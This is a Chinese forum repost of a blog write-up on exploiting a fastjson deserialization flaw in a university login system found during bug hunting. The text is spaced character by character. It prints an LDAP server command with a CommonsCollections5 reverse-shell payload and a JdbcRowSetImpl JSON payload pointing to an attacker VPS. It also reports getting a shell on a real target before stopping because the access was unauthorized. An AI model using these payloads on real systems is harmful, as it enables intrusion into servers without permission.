搜索

[7500] 2021-02-08_记一次fastjsonRCE实战

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2021-02-08_记一次fastjsonRCE实战 记 一 次 f a s t j s o n R C E 实 战 原 创   考 研 勇 士   F 1 2 s e c   2 0 2 1 - 0 2 - 0 8 收 录 于 话 题   # 实 战 分 享   , 2 8 个 2 0 2 1 . 2 . 4 今 天 e d u s r c 突 然 出 了 浙 大 的 证 书 ， 本 来 想 挖 一 个 浙 大 中 危 ， 不 仅 挖 了 4 个 全 重 复 了 ， 还 打 偏 了 一 个 ， 故 有 了 这 篇 文 章 。 在 c 段 下 看 到 这 样 一 个 系 统
随 便 输 个 弱 口 令 抓 包 看 看 既 然 是 j s o n 请 求 这 让 我 想 起 了 f a s t j s o n 爆 出 的 R C E 漏 洞 ， 于 是 利 用 了 一 下 b p 插 件 F a s t j s o n S c a n   发 现 确 实 存 在 此 漏 洞
附 上 该 b p 插 件 地 址 ： h t t p s : / / g i t h u b . c o m / M a s k h e / F a s t j s o n S c a n 但 是 随 之 ， 我 试 了 3 、 4 个 g i t h u b 上 的 工 具 ， 没 有 一 个 成 功 的 ， 想 p i n g 个 d n s l o g 都 没 成 功 ， 但 是 p a y l o a d 发 送 响 应 包 却 没 有 问 题 ， 我 一 度 怀 疑 难 道 是 不 出 网 ? ? 于 是 把 站 点 发 给 了 有 经 验 的 朋 友 看 了 一 看 ， 他 也 复 现 了 半 天 没 有 出 来 ， 后 来 在 翻 阅 资 料 以 及 不 同 环 境 的 对 比 之 下 ， 突 然 发 现 怎 么 用 的 这 几 个 工 具 ， 每 个 工 具 自 动 利 用 的 g a d g e t 都 不 同 ？ ？ ？
这 也 导 致 了   复 现 的 失 败 ， 所 以 逼 不 得 已 ， 选 择 了 手 动 选 择 g a d g e t ， 尝 试 到 了 第 五 个 C o m m o n s C o l l e c t i o n s 5 ， 服 务 器 终 于 有 了 反 应 。 ( 朋 友 的 图 ) 于 是 我 们 重 新 开 始 ， 按 照 此 工 具 的 说 明 h t t p s : / / g i t h u b . c o m / w y z x x z / f a s t j s o n _ r c e _ t o o l 在 V P S 上 运 行 编 码 地 址 ： h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l P a y l o a d : b u r p 用 p a y l o a d 把 登 录 j s o n 数 据 替 换 掉 反 弹 s h e l l   成 功 j a v a   - c p   f a s t j s o n _ t o o l . j a r   f a s t j s o n . L D A P R e f S e r v e r 2   1 0 9 9   C o m m o n s C o l l e c t i o n s 5   “ 编 码 过 后 的 反 弹 s h e l l 语 句 ” { “ @ t y p e ” : ” c o m . s u n . r o w s e t . J d b c R o w S e t I m p l ” , ” d a t a S o u r c e N a m e ” : ” l d a p : / / V P S : 1 0 9 9 / O b j e c t ” , ” a u t o C o m m i t ” : t r u e }
未 授 权 ， 遂 到 此 停 止 。 作 者 : 考 研 勇 士   文 章 来 源 ： F 1 2 s e c F 1 2 s e c 原 文 地 址 ： h t t p : / / w w w . 0 d a y h a c k . n e t / i n d e x . p h p / 8 2 /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理